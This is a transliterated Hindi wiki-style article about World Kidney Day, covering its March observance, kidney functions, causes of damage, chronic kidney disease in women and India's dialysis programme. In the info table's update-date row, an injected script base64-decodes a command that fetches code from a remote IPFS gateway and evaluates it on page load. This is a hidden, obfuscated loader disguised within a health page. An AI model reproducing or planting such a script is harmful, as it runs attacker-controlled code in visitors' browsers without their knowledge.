विश्व किडनी दिवस
vishv kidani divas
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| vivaran | 'vishv kidani divas' vishvabhar mean manaya jane vala mahattvapoorn divas hai. mahilaoan ki maut ka 8vaan b da karan kidani (gurde) ki kharabi hai. duniya bhar ki 19.5 lakh mahilaean kidani rog se prabhavit haian. |
| tithi | prativarsh march ka doosara guruvar |
| uddeshy | manav svasthy mean kidani ke mahattv ke prati sab mean jagarookata badhana |
| sanbandhit lekh | manav sharir, gurda |
| any janakari | kronik kidani rog (sikedi) mahilaoan mean mrityu ka athavaan pramukh karan hai, jisase ek sal mean 6,00,000 se jyada mahilaoan ki mrityu ho jati hai. |
| adyatan | 18:07, 22 march 2018 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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vishv kidani divas (aangrezi: World Kidney Day) prativarsh march ke doosare guruvar ko manaya jata hai. yah vishvabhar mean kidani rog aur usase sanbandhit svasthy samasyaoan ke prabhav ko kam karane ke lie hamare svasthy mean kidani ke mahatv ke prati jagarookata badhane ke lie vaishvik jagarookata abhiyan hai. vishv mean das vyaktiyoan mean se ek vyakti kidani rog se prabhavit hai. vishv kidani divas 'aantarrashtriy sosayati aauf nephrol aauji' (aeeesen) aur 'iantaraneshanal phedareshan aauf kidani phauandeshan' (aeeephakeeph) ki ek sanyukt pahal hai. vishv kidani divas ka varsh 2018 ka vishay "kidani evan mahila svasthy: samavesh, mahatv, sashakt banae" hai.
shuruat
kidani ke prati logoan ko jagarook karane ke lie pratyek varsh 'vishv kidani divas' ka ayojan kiya jata hai, jo ki kidani ke mahatv par dhyan keandrit karata hai aur vishv bhar mean kidani ki bimari aur usase sanbandhit pareshani ke avritti aur prabhav ko kam karata hai. vishv kidani divas ki shuruat do sal pahale huee thi. vaise to varsh 2006 se hi logoan ko kidani se sanbandhi rogoan ke prati jagarook karana shuroo kar diya gaya tha. is divas ka mukhy uddeshy logoan ko kidani se ho rahi samasya ka nidan dilana hai. 'iantaraneshanal sosayati aauf kidani disijes' aur 'iantaraneshanal sosayati aauf nephrol aauji' ke jarie nirantar badh rahi kidani ki bimari ko badhata dekh yah divas manane ka phaisala liya gaya tha. taki vishv ka har ek vyakti jagarook ho sake. vishv kidani divas pratyek varsh march mah ke doosare guruvar ko manaya jata hai.[1]
kidani ka mahattv
manav sharir do kidani ke sath janm leta hai. lekin hamari sirph ek kidani hi sabhi mahatvapoorn karyoan ko poora karane mean saksham hoti hai. kidani ki kharabi ke karan koee ganbhir bimari ya mrityu bhi ho sakati hai. kidani ki tulana supar kanpyootar ke sath ki gee hai, kyoanki jis prakar supar kanpyootar ki pareshani ko samajhana jatil hota hai, usi prakar kidani ki rachana b di vismayakarak hai aur usake kary atyant jatil haian. kidani sharir ka rakt saph karake yoorin banati hai aur sharir se yoorin ko bahar nikalane ka kam mootravahini karati hai. mahilaoan aur purushoan donoan ke sharir mean samanyat: do kidani hoti haian. kidani pet ke aandar, pichhe ke hisse mean, ridh ki haddi ke donoan or, chhati ki pasaliyoan ke bich surakshit tarike se sthit hoti hai. kidani, pet ke bhitari bhag mean sthit hoti haian.
kidani ke mukhy kary
- rakt ka shuddhikaran
- apashisht utpadoan ko sharir se bahar nikalana
- sharir mean aml evan kshar ka santulan banaye rakhana
- rakt ke dabav par niyantran rakhana
- rakt kanoan ke utpadan mean sahayata karana
- haddiyoan ki majabooti mean sahayata pradan karana
kharab hone ke karan
- paryapt aram n karana
- yoorin (mootr) ane par rok lena
- kam pani pina
- atyadhik namak ka sevan karana
- uchch rakt dab hone par laparavahi karana
- madhumeh ke ilaj mean laparavahi karana
- atyadhik maans ka sevan karana
- jyada matra mean dard nivarak davaean lena
- bahut adhik sharab aur dhoomrapan karana
- thande pey padarth v soda adi adhik lena
mahila svasthy aur kidani
- kronik kidani rog (sikedi) mahilaoan mean mrityu ka athavaan pramukh karan hai, jisase ek sal mean 6,00,000 se jyada mahilaoan ki mrityu ho jati hai.
- kronik kidani rog vishv mean lagabhag 195 karo d mahilaoan ko prabhavit karata hai.
- mahilaoan mean purushoan ki tulana mean sikedi adhik paya jata hai, jisamean ausatan 14% mahilaean aur 12% purush prabhavit ho sakate haian.
- mahilaoan mean kuchh kidani rog, jaise ki lyoopas nephropaithi aur kidani sankraman adhik samany haian.
- sikedi ka phailav badh raha hai tatha yah prasav ke varshoan mean 3% mahilaoan ko prabhavit kar sakata hai.
- sikedi se pi dit maan aur bachche mean nakaratmak svasthy parinamoan ka zokhim badh jata hai.
- garbhavastha-sanbandhi jatilataoan se kidani rog ka zokhim badh jata hai; pri-klempasiya se pi dit mahila mean kidani ki viphalata ke vikas ki sanbhavanaean char se paanch guna adhik ho jati haian.
- mahilaean, jinhoanne saphalatapoorvak kidani pratyaropan kiya hai, unaki prajanan kshamata punah sthapit ho sakati hai tatha garbhavastha se ju di jatilataean kam ho jati haian.
- garbhavastha mean sikedi ki paryapt janakari evan rog ka samay par pata lagane tatha adhik jagarookata ki spasht avashyakata hoti hai.[2]
kronik kidani rog kya hai?
kronik kidani rog (sikedi) mahinoan ya varshoan se lagatar hone vala nukasan hai. jab kidani prakriya ek nishchit biandu se kam ho jati hai, to use kidani ki viphalata kaha jata hai tatha anupacharit kidani ki viphalata jivan ke lie ghatak ho sakati hai, jisamean jivan ko banae rakhane ke lie dayalisis ya kidani pratyaropan ki avashyakata hoti hai. kronik kidani rog ka karan madhumeh, uchch raktachap aur any vikar ho sakate haian. rog ka shighr pata lagana aur upachar pray: kronik kidani rog ko badatar hone se bacha sakata hai.
kya ap janate haian
- kidani rog saileant kilar hai. kronik kidani rog ki shuruat mean koee sanket ya lakshan nahian hota hai.
- kronik kidani rog samanyat: poora thik nahian hota hai.
- kidani rog ki jaanch ke lie rakt aur mootr parikshan ka upayog kiya jata hai.
- kidani rog ka upachar kiya ja sakata hai. sikedi ka shighr pata lagana prabhavi upachar prapt karane ka behatar avasar pradan karata hai.
- kidani rog kidani ki viphalata utpann kar sakata hai.
pradhanamantri rashtriy dayalisis karyakram
rashtriy svasthy mishan ke tahat 'rashtriy dayalisis karyakram' bharat sarakar ke svasthy aur parivar kalyan mantralay ki ek pahal hai. ise zila aspatal mean sarvajanik niji bhagidari (pipipimoda) ki sahabhagita ke sath varsh 2016 mean shuroo kiya gaya tha. is karyakram ka uddeshy rogi ke nazadik jivan rakshak pranali ko pradan karana evan unake upachar ke lie kie ge kharchoan mean kami lana hai.
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tika tippani aur sandarbh
- ↑ vishv kidani divas, 2018 (hiandi) rajexpress.co.
- ↑ vishv kidani divas (hiandi) hi.nhp.gov.in.
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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